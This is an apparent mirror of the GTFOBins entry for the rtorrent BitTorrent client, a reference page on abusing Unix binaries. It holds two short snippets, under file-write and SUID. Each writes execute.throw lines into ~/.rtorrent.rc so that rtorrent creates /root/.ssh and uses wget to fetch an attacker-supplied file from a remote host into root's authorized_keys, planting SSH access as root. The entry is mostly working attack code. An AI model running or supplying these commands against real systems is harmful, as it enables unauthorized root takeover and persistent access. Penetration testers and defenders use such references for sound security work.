1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 15:59:17 +01:00
GTFOBins.github.io/_gtfobins/rtorrent.md

19 lines
503 B
Markdown
Raw Normal View History

2022-08-05 17:39:15 +02:00
---
description: a BitTorrent client for ncurses.
functions:
file-write:
- code: |
cat >> ~/.rtorrent.rc <<EOF
execute.throw = mkdir,/root/.ssh
execute.throw = wget,http://$RHOST:$RPORT/$RFILE,-O,/root/.ssh/authorized_keys
EOF
rtorrent
suid:
- code: |
cat >> ~/.rtorrent.rc <<EOF
execute.throw = mkdir,/root/.ssh
execute.throw = wget,http://$RHOST:$RPORT/$RFILE,-O,/root/.ssh/authorized_keys
EOF
./rtorrent
---